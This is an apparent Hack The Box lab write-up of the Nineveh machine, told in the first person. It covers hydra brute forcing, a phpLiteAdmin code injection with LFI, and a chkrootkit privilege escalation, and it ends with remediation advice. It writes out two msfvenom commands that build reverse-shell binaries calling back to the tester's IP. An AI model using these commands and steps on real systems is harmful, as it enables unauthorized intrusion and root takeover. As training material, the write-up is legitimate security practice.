HTB: Nineveh Writeup w/o Metasploit
This was a pretty challenging box. Heavy enumeration during the beginning helped out a lot as I was looking for exploits. The most exhausting part for me was just getting a php shell back. Also, during this writeup, I decided to write it as I hacked. I usually take screenshots and notes and then compile them afterwards. I might do this more often. It helped me stay on track better then I have before. Hopefully you enjoy!
Recon
I started this box with my nmap jutsu. It is a series of nmap scans inside of a bash script. It returned port 80 and 443.
The webpage on 80 and 443 did not give me much information to work with. I checked the certificate on 443 to see if there was any loot we can use for later and I found an email address (admin@htb.com).
It may not be much later, but we will save it for now. When I kicked off that nmap jutsu I also started my gobuster jutsu. The gobuster jutsu is a directory scan using gobuster. This returned a page (/info.php) that had tons of details and information about our target.
While gobuster was still running, I was going through this info.php page for anything that can lead to remote code execution. But I could not find anything to work with. Fortunately, gobuster came back with two different login pages.
Enumeration
The first one (http://nineveh.htb/department/) we used hydra to successfully crack the password. I tried using Burp, but it was moving way too slow for me.
The password from hydra works and we are brought to an incomplete website. If you navigate to the notes section, we get some interesting details.
There is a message from an Amrois about fixing the login page and to check their secret folder. The gobuster scan did return a secure_notes directory. I wasn’t sure if that was the “secret folder” but there was a picture there. I tried to use some stego tools on it and ran exiftools against it but no information for us to move forward with right now.
Another interesting thing to note here is the url of the notes page. It looks like the notes are under a “file” directory. Before digging deeper into this, I started up hydra to brute force the “nineveh.htb/db/index.php” login page we found from gobuster. Hydra returned a password pretty quick.
While hydra was running, I was doing some Google kung fu on phpLiteAdmin v1.9 because it was on the homepage of the login screen we are running hydra against.
I found some exploits on Google that I also found saw on searchsploit. The results looked promising. On searchsploit it was 24044.txt. Apparently, we can create a database and insert some php code in it as text fields and then execute it.
I used the password that hydra gave us for this /db/index.php login page and it was successful. After getting an understanding of the layout, I tried to get a shell back using the 24044.txt exploit. To set this up, I just created a new table called “tryme.”
On my first attempt I uploaded a simple php shell to run remote commands from the url. It worked but I was not able to get a shell back with it. I also tried to run it from burp but I still could not get a shell back. I tried different reverse shells but could not get anything to work. Eventually I learned that I can just execute commands using php from this field value I highlighted here on the page. The full php string I entered is under the picture.
Afterwards hit create and then go back to rename the database to ninevehNotes.php.
I named it ninevehNotes.php because the lfi vulnerability I found on the nineveh.htb/departments page wouldn’t work without the string ninevehNotes. The lfi vulnerability allows us to execute the php script we just created and stored.
Requesting that entire url creates a connection back to our netcat listener.
Once I got on the box, I realized I did not have a stable shell. I could not upgrade it using pty, and it kept timing out on me. So, I created a reverse payload using msfvenom (msfvenom -p linux/x64/shell_reverse_tcp lhost=10.10.14.13 lport=1234 -f elf -o shell_64.elf). Next, I spun up a quick web server using python, transferred the elf file and then executed it. I was now able to upgrade my shell using pty.
In the screenshot above, the left pane is the python web server. You can see the shell64.elf file being transferred. In the bottom left pane, the last line is the shell64.elf file being executed (./shell64.elf). In the top right pane, is a connection to the netcat listener from the shell64.elf file we executed in the bottom left pane. In the top right, we catch the shell, run the “ls” command twice, and then upgrade the shell using pty.
Privilege Escalation
Throughout that process, I also transferred linenum and linpeas. linpeas showed an interesting directory under root named “reports.”
That directory had files that were being created every minute. The user that owned the file was not root though, so trying to get root to run it was out of the question for me. While I was reading the reports, I was not sure what the information in the files were about. So, I took one of the lines and threw it in a Google search. I learned that the reports are from chkrootkit. It is a program that scans your system for rootkits. I also learned there is a local privilege escalation exploit.
I used 33899.txt. Apparently, chkrootkit launches an executable named update in the /tmp directory when chkrootkit is executed. I checked the tmp directory and did not see the update file there. So, on our local box we created an elf file and named it update. After the update file was ready, we transferred it to the victim box, changed the permissions with chmod +x, started our netcat listener and got a shell back as root.
In the picture above, the window on the bottom right is msfvenom creating the update file (msfvenom -p linux/x64/shell_reverse_tcp lhost=10.10.14.13 lport=443 -f elf -o update). Top left is our python webserver. You can see the update file being retrieved in that pane. On the top right pane, we are using wget to retrieve the update file. You cannot see it but after the download, we do modify the “update” file’s permissions with “chmod +x update.” Finally, we get a shell back as root on the bottom left pane.
AAR
This box was definitely the 2nd most challenging I have done during this hack the box series of TJNull’s OSCP boxes. So, what did we find and learn? How can we resolve this for future clients?
1. The passwords for those admin accounts we brute forced with hydra need to be more complex. We were able to get admin access into the department directory and the phpLiteAdmin page. I later learned from ipsec’s video that the image I tried cracking with stego tools, from the “secure_notes” dir, had ssh keys in them. You can run the binwalk command against it to retrieve the keys. Use “binwalk -eM nineveh.png” and that will retrieve the ssh keys you can use to log in as amrois. Running “binwalk -h” explains the options.
2. The web app had a lfi vulnerability we exposed to pop the initial shell. It needs proper sanitization to help mitigate something like that from happening again.
3. The phpLiteAdmin application should be updated to a newer or more secure version. This would eliminate the malicious database we created to help execute our initial shell.
4. Chkrootkit should also be updated to a newer or more secure version. Another solution may possibly be starting chkrootkit with an account that has limited privileges and access.
All in all, this was a great box. It forced me to slow down and take my time. I have a better understanding and a new love for research exploitation because of this box. I hope you enjoyed this writeup. I will be making a walkthrough for it soon.
